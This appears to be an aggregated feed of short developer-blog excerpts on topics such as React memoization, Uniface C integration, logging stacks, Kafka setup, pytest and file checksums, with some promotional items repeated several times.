Often overlooked, process improvement is central to progress Michael Filler and Matthew Realff identify 8 fundamental process schemas that enable innovation by rearranging manufacturing steps. Fundamental Manufacturing Process Innovation (FMPI) drives progress through intangible process changes rather than visible product improvements. The 8 process schemas include parallelization, splitting, merging, separation, combination, factoring, subtraction, and addition of steps. Real-world FMPI examples include integrated circuit manufacturing using parallelization and 3D printing shifting from subtractive to additive approaches. 👉 Read full article  ( 6 min )

Ever found yourself scrolling through the same news stories, a sense of déjà vu washing over you like that feeling when your favorite song starts playing on the radio for the umpteenth time? I sure have. That’s why I was both curious and amused when I stumbled upon Forty.News, a platform that feeds you the daily news, but on a 40-year delay. Yeah, you read that right—40 years. Ever wondered what the headlines were like in 1983? Or why history keeps repeating itself? Let’s dive into this quirky experiment and see what makes it tick. When I first heard about Forty.News, I thought, "What a wild concept!" As a developer and a history buff, I’m always intrigued by how the past shapes the present. The idea is simple: the site curates news articles that were published 40 years ago, presenting the…  ( 8 min )

Disclosure: This post includes affiliate links; I may receive compensation if you purchase products or services from the different links provided in this article. If you've been in software development for a few years, you know that writing code is only part of the job. Understanding how to design scalable, reliable systems and architect maintainable software is what separates senior engineers from the rest. Over the past few years, I've read more than 20 books on Software Architecture and System Design, some were too theoretical, others were gold mines of real-world wisdom. In this post, I'm sharing the top 5 books that truly shaped how I think about architecture and system design. These aren't just books you skim through. Each of them offers practical insights, proven architectural pat…  ( 9 min )

React.memo vs useMemo — Explained (With Humor!) If you've ever stared at your React component tree wondering "Why are you re-rendering? I didn’t even touch you!" — congratulations, you're officially a React developer. With React 19 rolling into town like a cool new intern, many devs still ask: “Do React.memo and useMemo still matter?” Short answer: YES. Long answer: You’re about to read it. Let’s clear the confusion once and for all: 🔹 React.memo — The Component Bodyguard React.memo wraps a component, preventing it from re-rendering unless its props change. Think of React.memo as: const Greeting = React.memo(function Greeting({ name }) { console.log('Rendered!') return Hello {name} }) If name doesn’t change → No re-render. name changes → VIP access. 🔹 useMemo — The Expe…  ( 8 min )

CinemaSins just unleashed Everything Wrong With The Wiz In 15 Minutes Or Less, throwing shade at the 1978 Wizard of Oz spin-off now that Wicked is back in theaters. They break down every facepalm moment and absurdity with their classic snark, promising more sins than you remember. Of course, they’ve also stacked the description with plugs—links to other YouTube channels, a sinful poll, Patreon support options, Discord and Reddit communities, plus social handles for Jeremy, Aaron, Deneé, and the rest of the sin squad. Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less has CinemaSins unleashing its trademark roast on the new K-Pop demon-slaying extravaganza. In a rapid-fire 16-minute clip, they gleefully tally up every plot hole, cheesy line and over-the-top action beat, all with their classic snarky flair. Of course, they pepper in links to their main site, Patreon, poll and social hangouts (Discord, Reddit, TikTok, Instagram), plus shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—so you can keep the sinning party going well beyond the video. Watch on YouTube  ( 6 min )

Working in a B2B startup, an ISO 27001 certification is often requested by our enterprise clients and partners. However, with a lean team and tight deadlines, traditional manual processes seemed daunting. By leveraging GRC automation platforms, we were able to streamline our compliance journey and achieved certification in just six months, proving that even resource-constrained startups can prioritize security without sacrificing speed.​ ISO/IEC 27001:2022 is an international standard for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS). It helps organizations manage risks to information assets through a structured framework of controls. For startups handling sensitive data like ours, certification signals maturity and bui…  ( 9 min )

1262. Greatest Sum Divisible by Three Difficulty: Medium Topics: Array, Dynamic Programming, Greedy, Sorting, Weekly Contest 163 Given an integer array nums, return the maximum possible sum of elements of the array such that it is divisible by three. Example 1: Input: nums = [3,6,5,1,8] Output: 18 Explanation: Pick numbers 3, 6, 1 and 8 their sum is 18 (maximum sum divisible by 3). Example 2: Input: nums = [4] Output: 0 Explanation: Since 4 is not divisible by 3, do not pick any number. Example 3: Input: nums = [1,2,3,4,4] Output: 12 Explanation: Pick numbers 1, 3, 4 and 4 their sum is 12 (maximum sum divisible by 3). Constraints: 1 <= nums.length <= 4 * 10⁴ 1 <= nums[i] <= 10⁴ Hint: Represent the state as DP[pos][mod]: maximum possible sum starting in the position "pos" in the array where…  ( 38 min )

Short Intro: As a competitive programmer, missing a contest because of unexpected schedule changes is frustrating. I’m building a mobile app that automatically tracks contests on platforms like Codeforces, AtCoder, and CodeChef, detects time changes, and sets a loud, unmissable alarm before the contest starts(need alarm 30 minute before contest start). I’m looking for suggestions, guidance, and advice from developers who’ve built similar apps or worked with mobile alarms and background tasks. Project Idea The app will: Automatically fetch upcoming contests from Codeforces, AtCoder, CodeChef, and others. Detect schedule changes and reschedule alarms automatically. Trigger a loud, full-screen alarm (not just a notification) before the contest. Allow users to customize the alarm time (e.g., 1…  ( 7 min )

Introduction At small scale, logging is simple—tail a file, search with grep, done. But as your infrastructure grows to dozens of services across multiple servers, this approach breaks down. Finding a specific error across 100 containers, correlating events across services, or analyzing patterns in millions of log lines becomes impossible without the right tooling. Modern logging solutions promise to solve these problems, but choosing the wrong one can be costly. The ELK Stack offers powerful search and analytics but requires significant operational overhead. Loki promises simplicity and cost savings but with feature tradeoffs. CloudWatch provides seamless AWS integration but can become expensive at scale. In this comprehensive guide, we'll explore these three leading logging solutions, …  ( 15 min )

If the previous blog gave you the mental model of APIs, how APIs grow in complexity in real projects. Nobody tells beginners this progression. This chapter finally lays out the missing bridge: How APIs evolve from the simplest GET request → all the way to production-grade architecture. You’ll see where you are right now, what comes next, and why the next steps matter. And like last time, Let’s begin. 1. Level 1 — The Simplest API: A Basic GET Endpoint This is where everyone starts. No database. a URL a GET method and a JSON response Example (Next.js 16): export function GET() { return Response.json({ message: "Hello World" }); } This is the kindergarten of APIs, and that’s a good thing. What you learn here: how routing works how JSON is returned how fetch() consumes an endpoint 2. …  ( 9 min )

Flutter REST API Tutorial with Live Example Welcome developers! Today we will explore Flutter REST API Tutorial with Live Example with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

Awalnya aku cuma bisa HTML, CSS, dan JavaScript biasa. Saat diminta membuat proyek dengan React + TypeScript, aku benar-benar bingung. Aku mulai belajar React dari dasar: komponen, props, state, dan hooks. Semakin lama, aku mulai paham kenapa React enak dipakai—semua terasa lebih rapi dan terstruktur. Belum selesai memahami React, muncullah tantangan baru: TypeScript. Awalnya aku kesal karena error yang muncul terasa aneh. Tapi setelah terbiasa, aku sadar TypeScript justru membantuku menghindari bug. Aku belajar memberi tipe pada props, menggunakan interface, dan menulis kode yang lebih aman. Untuk melatih diri, aku bikin proyek kecil seperti Todo App dan fetch API. Dari situ aku mulai sadar pola kerjanya, dan kombinasi React + TypeScript ternyata sangat powerful. Saat akhirnya membuat dashboard untuk proyek magang, aku merasa lebih percaya diri. Struktur kode lebih rapi, error lebih mudah ditangani, dan prosesnya jauh lebih nyaman. Belajar React dan TypeScript mengajariku satu hal penting: butuh waktu untuk paham, tapi hasilnya membuat proses coding lebih cepat, aman, dan menyenangkan.  ( 6 min )

Node.js API Fetch Example with Real Data Welcome developers! Today we will explore Node.js API Fetch Example with Real Data with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

In the world of enterprise application development with Uniface, performance is king. One often underutilized but powerful feature in Uniface 10.4 is the concept of Service Stored Procedures (SSPs). If you are working with heavy data processing or complex SQL logic, moving that logic closer to the data (the DBMS) is usually the best optimization strategy. Here is a deep dive into what SSPs are, why you should use them, and the constraints you need to watch out for. In Uniface, a Service Stored Procedure isn't just a raw SQL script. It acts as a bridge. Technically, it uses the Uniface activate statement to address a Stored Procedure Component that you define within the Signature Editor. Ideally, you use these when you want to execute DBMS-specific stored procedures but maintain a generic P…  ( 8 min )

Four months ago, I started a small weekend project with one simple goal: help my friends stop yelling “My Mac is full again!” 😅 What began as a quick script to clear cache files turned into Disk Clean Kit – a full-featured macOS app that helps everyone keep their Mac clean, fast, and organized. The Inspiration So I thought — why not build a clean, modern, privacy-friendly alternative that just works? The Stack Built with Swift & SwiftUI Uses StoreKit 2 for native purchase flow It's good for all normal users Support Developer Tools, Creative tools cleaning Implements AI-based duplicate detection Designed with macOS Human Interface Guidelines 100% sandboxed & App Store compliant Key Features One-click cleanup for caches and temp files Creative tools cleaning — detects heavy files from apps like Figma, Photoshop, Premiere, and Final Cut Developer tools cleaning — safely clears Xcode cache, build data, and derived data folders Smart AI duplicate detection Manage startup apps Privacy-focused — all scanning done locally I wanted it to feel native — lightweight, smooth animations, and no clutter. Challenges Lessons Learned macOS dev is fun again with SwiftUI. Try It Yourself HomePage Disk Clean Kit on Mac App Store ❤️ Support an Indie Dev Built with love in Swift. Powered by caffeine, Copilot and curiosity. ☕ Video for app preview:  ( 7 min )

Power BI is a powerful business intelligence tool that enables you to visualize and analyze data from various sources. PostgreSQL is a popular open-source relational database that can serve as an excellent data source for Power BI. In this article, we'll walk through two scenarios: connecting Power BI to a local PostgreSQL instance and connecting to PostgreSQL hosted on Aiven cloud. Power BI Desktop: Download and install from the Microsoft Power BI website PostgreSQL: Either a local installation or an Aiven account Npgsql: PostgreSQL data provider for .NET (required for Power BI connection) Open Power BI Desktop and follow these steps: Click on Get Data in the Home ribbon Search for PostgreSQL database and select it Click Connect In the PostgreSQL database dialog, enter: Server: loca…  ( 7 min )

React Native API Example Step-by-Step Welcome developers! Today we will explore React Native API Example Step-by-Step with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

Free JSON APIs for Developers with Examples Welcome developers! Today we will explore Free JSON APIs for Developers with Examples with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

Simplifying Legacy Integration: Using Call-In Stubs in Uniface 10.4 Integration between modern 4GL environments and traditional C (3GL) code often feels like a high-wire act. You have to manually juggle memory handles, parameter mappings, and execution states. One slip—like a mismatched data type or a forgotten handle release—and your application crashes. If you are working with Uniface 10.4, there is a better way. Instead of writing verbose, error-prone C code to activate Uniface services, you can use Call-In Stubs. This feature generates clean C wrappers for your 4GL services, handling the heavy lifting automatically. Here is how to streamline your C-to-Uniface integration. Let’s say you need to call a simple operation named CALLIN inside a Uniface service CALLINSRV. Without stubs, you…  ( 8 min )

So yeah I made this fish schooling thing. Literally a bunch of fake fish vibing together on my GPU. I had nothing serious in mind. I just saw some video and my brain went ok cool lets try that. I swear half these projects I make start from boredom and ego mixed together. Like I wanna see something move on screen because it makes me feel like I actually know shit. Anyway the whole thing is just a bunch of rules. I used WebGPU and some compute shaders. Three.js for the visuals because I was too lazy to write the whole rendering thing from scratch. The logic is literally nature 101. Nothing crazy. Just looks cool. And honestly this project taught me something. People act like you need to make some god tier project every time. But nah. Sometimes you make a small thing and it still looks sexy. And it gives you that small hit of dopamine that keeps you going. When I posted it on LinkedIn I realized something sad though. If you dont hype your own shit nobody even looks at it. Like damn bro at least pretend to care. But yeah whatever. I like this one. Its small. Its stupid. It works. And watching the little dudes swim around felt kinda satisfying. If you wanna make something that looks way harder than it actually is then this is the move. Thats it. I’ll probably break my brain on some other random idea next. Check it out: https://github.com/Kukyos/fishschooling-sim  ( 7 min )

Weekly Challenge 348 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a string of even length. Write a script to find if the given string split into two halves of equal lengths and they both have same number of vowels. The main logic for this challenge is a function called count_vowels. The takes a string and returns the number of vowels. The Python code for this function is def count_vowels(s: str) -> int: vowels = 'aeiouAEIOU' return sum(1 for char in s if char in vowels) Not to be outdone, it's a single line in Perl. sub count_vowels ($s)…  ( 8 min )

Breaking the Curse: Globally Optimizing the Previously Unsolvable Are you wrestling with optimization problems where the function landscape is a jagged mountain range, and traditional methods leave you stranded in a local valley? Do you face constraints that make calculating derivatives impossible, forcing you to explore the solution space blindly? If so, you're not alone. Introducing a novel approach to global optimization, designed to efficiently navigate these treacherous landscapes without prior knowledge of the function's smoothness. The core idea is to intelligently sample the function, prioritizing evaluations that are most likely to improve our current best solution. We achieve this by adaptively refining our search region and limiting comparisons to a strategically chosen subset…  ( 7 min )

Introduction Integrating modern C/C++ applications with established Uniface systems doesn't have to be a black box. The Uniface 3GL Call-In API acts as the bridge, mirroring the power of the ProcScript activate command but from within your C code. This guide breaks down how to instantiate components and effectively manage the environment lifecycle using the ucall library. The Call-In API allows you to: Instantiate Uniface components (Forms, Services, Reports). Execute operations with full parameter support (IN/OUT). Control the Uniface environment (Start/Stop). All necessary functions are bundled in the ucall shared library. This is the single dependency you need to link against. The documentation often shows a sequence involving both creation and opening. Here is what happens unde…  ( 7 min )

I'm a software developer, and I've been attending tech events for over three years now. I've used platforms like Luma and Eventbrite to find events, but there's always been one problem that frustrated me. The noise. Most event listing sites list cool tech events, but they also mix in so many non-tech events that it becomes overwhelming. When I'm looking for a React workshop or an AI conference, I don't want to scroll through cooking classes and yoga sessions. I remember searching for "JavaScript meetups" and getting results for wine tasting events and fitness bootcamps mixed in. The problem was clear. I wanted a clean, focused experience that only showed tech events. At first, I just thought about it, but I didn't know how to approach building it. Then recently, I had to automate a dataset…  ( 12 min )

Agentic development is rapidly transforming the way developers design, build, and ship software. Tools like Opencode let developers pair powerful local LLMs with intelligent agents to automate coding tasks, refactor large codebases, and accelerate development—all while keeping data private and within your own machine. If you want to get started with Opencode using local LLMs (like Llama, Mistral, Qwen, DeepSeek, Gemma), here’s a simple, practical guide. before that, let's know Agentic workflows – AI agents that can modify your codebase intelligently. Local-first development – Integrate your own LLM running on GPU or CPU. Extensibility – Bring your own models, tools, and workflows. Security & Privacy – No proprietary code leaves your machine. Ollama GhostTTY Opencode Go to Ollama and follow…  ( 7 min )

The pytest framework makes it easy to write small, readable tests, and can scale to support complex functional testing for applications and libraries. To install pytest, run: pip install pytest In this post, we’ll create a simple division function and then write tests that validate its behavior. Let’s create a file called methods.py with a simple method that divides two integer numbers and returns a floating number: # methods.py def division(a: int, b: int) -> float: return a / b Next, create a file named tests.py, which will contain all the tests. We’ll use @pytest.mark.parametrize to run the test function multiple times with different inputs. # tests.py import pytest from methods import division @pytest.mark.parametrize( "a,b,expected", [ (10, 20, 0.5), …  ( 7 min )

Introduction If you work with Uniface, you know it’s a powerful low-code platform for building enterprise applications. However, there are moments when standard 4GL isn't enough. You might need high-performance algorithms, specific system calls, or integration with existing libraries. This is where the 3GL (Third-Generation Language) interface comes into play. In this post, I’ll break down how Uniface handles 3GL integration, which languages work best, and the constraints you need to know. Strictly speaking, Uniface isn't tied to a single specific 3GL language. However, because the Uniface kernel itself is largely written in C, the interface is heavily biased toward C conventions. For a language to be compatible with Uniface, it must meet three critical conditions: Calling Convention: I…  ( 8 min )

A post by Anna Villarreal  ( 6 min )

Why Softmax is Used Instead of Argmax in Neural Network Training 1. Information Loss with Argmax Argmax only returns the index of the highest logit value and completely discards all confidence information: argmax([2.1, 1.0, 0.5]) = 0 argmax([5.0, 0.1, 0.1]) = 0 Both return class 0, but we lose critical information about how confident the model is in its prediction. Softmax converts logits into a probability distribution that preserves the relative confidence across all classes: softmax(zi)=ezi∑jezj\text{softmax}(z_i) = \frac{e^{z_i}}{\sum_{j} e^{z_j}}softmax(zi​)=∑j​ezj​ezi​​ This allows the loss function to measure certainty or uncertainty, which is essential for gradient-based learning. Let's compare two scenarios with 3 classes and true label = class 0. Logits: [2.1, 1…  ( 8 min )

Introduction If you work with Uniface, you probably know that it plays well with others—specifically with 3GL languages like C or C++. We often use activate or perform to call out to legacy C libraries for complex calculations or system-level tasks. But here is the pain point: Debugging. Have you ever tried to attach a C++ debugger (like Visual Studio or GDB) to a running Uniface process? Often, the moment the debugger attaches, the application crashes or behaves unpredictably. This happens because both Uniface and the debugger try to manage the same system resources (like signals or threads). In Uniface 10.4 (specifically update 10.4.03.027), there is a feature designed to fix exactly this problem. Uniface introduced a setting called $ENABLE_USER_3GL_DEBUGGING. When this setting is enab…  ( 7 min )

Let's be honest, the traditional wall between sales and marketing teams feels like a legacy monolith with no API documentation. Marketing generates leads (pushes data to a queue), and sales complains about the quality (data validation error). The result? A leaky funnel, frustrated teams, and stalled growth. This isn't a "people problem"; it's a systems integration problem. As engineers, we solve these problems every day. We build resilient, interconnected systems. It's time to apply that same thinking to our company's revenue engine. This practice is often called "Smarketing" or, more technically, Revenue Operations (RevOps). It’s about treating sales and marketing as a single, cohesive system. Here's a 5-step playbook to de-silo your teams and engineer explosive growth. Before you write a…  ( 10 min )

CinemaSins jumps down the Yellow Brick Road in “Everything Wrong With The Wiz In 15 Minutes Or Less,” delivering their signature rapid-fire takedown of the 1978 musical now that Wicked is back in theaters. Expect tongue-in-cheek commentary, playful nitpicks, and a handful of “sins” as they revisit Dorothy’s journey with Scarecrow, Tin Man, and Lion. As always, they sprinkle in links to their site, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a quick poll, Patreon shout-outs, and a roll call for the writers and social handles keeping the cinematic roast alive. Watch on YouTube  ( 6 min )

TL;DR CinemaSins just rolled out “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” their signature rapid-fire roast of the film packed with cheeky commentary and trademark nitpicks. It’s a fun, tongue-in-cheek deep dive into all the cinematic sins you never knew you noticed—perfect for fans who love a good poke at pop culture. Wanna join the fun? Hit up their main site (cinemasins.com), explore other channels (@TVSins, @commercialsins, the CinemaSins Podcast Network), or grab more links via their Linktree. Don’t forget to take their “sinful poll,” back the team on Patreon, and follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social for more behind-the-scenes mischief. Watch on YouTube  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

The race to regulate artificial intelligence has begun, but the starting line isn't level. As governments scramble to establish ethical frameworks for AI systems that could reshape society, a troubling pattern emerges: the loudest voices in this global conversation belong to the same nations that have dominated technology for decades. From Brussels to Washington, the Global North is writing the rules for artificial intelligence, potentially creating a new form of digital colonialism that could lock developing nations into technological dependence for generations to come. The current landscape of AI governance reads like a familiar story of technological imperialism. European Union officials craft comprehensive AI acts in marble halls, while American tech executives testify before Congress …  ( 25 min )

When working with npm packages, version numbers like 1.4.2 aren't just arbitrary numbers—they follow a standardized system called Semantic Versioning (SemVer) that communicates important information about the changes in each release. Understanding this system is crucial for maintaining stable applications while keeping your dependencies up-to-date. Every version number consists of three parts: MAJOR version (first number): Indicates breaking changes MINOR version (middle number): Indicates new backward-compatible features PATCH version (last number): Indicates backward-compatible bug fixes For example, in version 2.5.3: 2 is the major version 5 is the minor version 3 is the patch version What it means: “Proceed with caution” The package has introduced breaking changes APIs ma…  ( 7 min )

Ever had that moment at 2 AM when your AWS bill is sky-high just because you forgot about some EBS volumes you created last quarter? Yeah, us too. It’s like cloud storage is secretly binge-eating your budget while you sleep. Well, brace yourself—AWS Compute Optimizer just dropped a feature that lets you automate EBS volume cleanups and upgrades so you can finally take back control (and cash)! You deploy, test, and migrate. Suddenly, your account is littered with unused volumes. Upgrades? Who has time for that? You're running old gp2 volumes because “it works, right?” Manual cleanup is a soul-sucking ritual. Don’t let yourself be THAT engineer. this new Compute Optimizer feature means: Set up daily, weekly, or monthly rules. Pick a time when nobody is awake—say, midnight to 1 AM. Automation…  ( 7 min )

Introduction Imagine planting a seed in your garden. You don’t just throw it in the soil and expect magic. You prepare the ground, water it, nurture it, watch it grow, and eventually remove it when its purpose is fulfilled. Surprisingly, Spring works in a very similar way. Every object that Spring manages goes through its own controlled journey—from creation to destruction. This is called the Spring Bean lifecycle. If you're learning Spring Boot or advancing your Java programming skills, understanding this lifecycle is essential. It helps you create cleaner, safer, and more predictable systems. In this blog, we’ll break the lifecycle down into simple steps, explain why it matters, walk through examples, and share practical best practices. Core Concepts In Spring, every dependency-manag…  ( 7 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Overview This configuration deploys a 3-broker Kafka cluster with automatic failover, data replication, and a management UI. services: kafka1: image: apache/kafka:latest container_name: kafka1 ports: - "9093:9093" - "29092:29092" volumes: - ./kafka-data/kafka1:/var/lib/kafka/data networks: - kafka-bridge environment: KAFKA_BROKER_ID: 1 CLUSTER_ID: t7jxO1XIQwWtRhIzV5PE4w KAFKA_PROCESS_ROLES: broker,controller KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT KAFKA_ADVERTISED_LISTENERS: INTERNAL://kafka1:29092,EXTERNAL://localhost:9093 KAFKA_LISTENERS: CONTROLLER://:9092,EXTERNAL://0.0.0.0:9093,INTERNAL://:29092 KAFKA_INTER_BROKER_LISTENER_NAME: INTERNA…  ( 8 min )

When working with lists in React, the go-to optimization for many developers is useMemo: const filtered = useMemo(() => tasks.filter(filter), [tasks, filter]); const sorted = useMemo(() => filtered.sort(cmp), [filtered, cmp]); This looks right, but it isn't: If you mutate the array in place, the reference doesn’t change and useMemo will return stale results. If you recreate the array every render (common in immutable flows), the memo dependency always changes and you pay the computation cost every time anyway. Hence, I built a tiny alternative — memotable (≈1.4 KB min+gz). It’s a read-friendly data structure that maintains derived views efficiently. This matters only for a narrow set of apps (typically apps that manage large in-memory datasets). Instead of the typical write-friendly pattern- const todos = new Map(); function getTodos(listId: string) { return Array.from(todos.values()) .filter((todo) => todo.listId === listId .sort(byTitle); } getTodos("list1"); // Full pass and sort on every invocation you can express the same as a read-friendly structure using memotable like- const todos = new Table(); todos.sort(byTitle); todos.index( (todo) => todo.listId, (p) => p.memo(), // Memoize list level partitions ); todos.partition("list1"); // Pre-computed list enabling fast read todos.values(); // Root partition is not-memoized and hence still sorts at read-time If your app works with thousands of items and reads are much more common than writes, memotable may be useful. As an example- based on my synthetic benchmark with R/W ratio of 4:1, memotable is ~4x faster. If you’ve hit similar problems with list-level memoization — in React or otherwise — I would love to hear about how you approached it. This is a tiny library by design, and I’m still refining where it adds the most value. Contributions, feedback or comments - all are welcome: https://github.com/shudv/memotable  ( 9 min )

Screen capturing is a fundamental daily task, but getting a clean, high-quality image of what’s on your screen can still be a hassle. That’s why I built PixelPerfect Capture, a straightforward and powerful Chrome extension now available on the Web Store. This tool is designed to provide precision and versatility, ensuring that whether you need to grab a quick snippet or an entire webpage, the result is always professional and clear. PixelPerfect Capture integrates seamlessly into your browser, offering three essential capture modes to handle any scenario without disrupting your workflow. Visible Area Capture: Quickly snap exactly what is currently displayed in your browser window. Selected Area Capture: Drag to define the precise area you wish to capture, ensuring you grab only the relevant content. Full Page Capture: Need to document an entire article or a long landing page? This mode scrolls and captures the full webpage from top to bottom, delivering the results as a single, high-fidelity image. For tasks like detailed documentation, complex bug reports, or saving design references, image quality is key. PixelPerfect Capture ensures the images you produce are crisp and high-quality, giving designers, developers, and power users the clarity they require. A great utility should be fast, lightweight, and trustworthy. PixelPerfect Capture emphasizes efficiency: it ensures quick performance and offers one-click downloads directly to your device. In an environment where privacy is crucial, I believe in transparency: No data collection. No tracking. Just clean, reliable screenshots. PixelPerfect Capture is a clean, focused utility designed only to do one job — capture your screen perfectly. If you rely on high-quality screen captures and need a fast, simple, and privacy-focused tool, you can find PixelPerfect Capture on the Chrome Web Store. 🔗 Add PixelPerfect Capture to Chrome Today Give it a try, and I welcome any feedback you have as you use it in your daily work!  ( 7 min )

Introduction We've all been there. You are building a web application, scanning the documentation for the right component, and you see a list of abstract names like htmlinput, ux-TextField, or genericHTML. You know what they do technically, but you have to implement them and run the page just to see exactly how they render by default. If you are working with Rocket Uniface, that workflow just got a significant Quality of Life update. In the latest documentation update for Uniface 10.4 (Patch 10.4.03.028), Rocket Software has introduced visual previews to the Dynamic Server Page (DSP) Widget Reference. Previously, the documentation listed the Physical Widget (the underlying HTML control) and the Logical Widget (the Uniface abstraction) with a text description. Now, a new column titled "Pr…  ( 7 min )

A checksum (hash) lets you verify a file has not been altered or corrupted. Common use: confirm a downloaded ISO matches the publisher’s SHA-256 hash. Go to https://colab.research.google.com and create a new Python notebook. Run: from google.colab import drive drive.mount('/content/drive') Approve the auth prompt. Your Drive files appear under /content/drive/MyDrive/. In the left sidebar (folder icon): Navigate to the file. Right‑click the file and choose "Copy path" (or manually note its path). Example path: /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso 4. Compute the SHA‑256 Checksum Use sha256sum (installed by default in Colab): !sha256sum /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso Output format: Compare the printed hash with the official one from the source website. They must match exactly. If not, the file may be incomplete or tampered with. File not found: Confirm the path (case sensitive). Large files: Hashing can take time; wait for completion. Different algorithm needed: Replace with !md5sum or !sha1sum (only if required; SHA‑256 is stronger).  ( 6 min )

